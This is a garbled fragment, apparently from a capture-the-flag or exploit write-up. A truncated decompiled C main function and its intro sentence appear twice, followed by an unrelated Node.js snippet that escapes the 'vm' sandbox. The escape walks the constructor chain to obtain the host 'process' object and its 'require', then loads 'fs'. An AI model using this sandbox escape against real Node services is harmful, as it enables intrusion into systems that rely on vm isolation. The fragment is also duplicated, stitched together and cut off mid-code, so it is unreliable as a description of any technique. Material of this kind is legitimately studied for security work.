So, we take a look at the binary and do some basic decompilation.
void main(void)
{
uint switch_00;
int switch;
char *buf;
undefined8 uVar1;
FILE *stream;
So, we take a look at the binary and do some basic decompilation.
void main(void)
{
uint switch_00;
int switch;
char *buf;
undefined8 uVar1;
FILE *stream;
"use strict"; | |
const vm = require("vm"); | |
const sandbox = { anObject: {} }; | |
const whatIsThis = vm.runInNewContext(` | |
const ForeignObject = anObject.constructor; | |
const ForeignFunction = ForeignObject.constructor; | |
const process = ForeignFunction("return process")(); | |
const require = process.mainModule.require; | |
require("fs"); |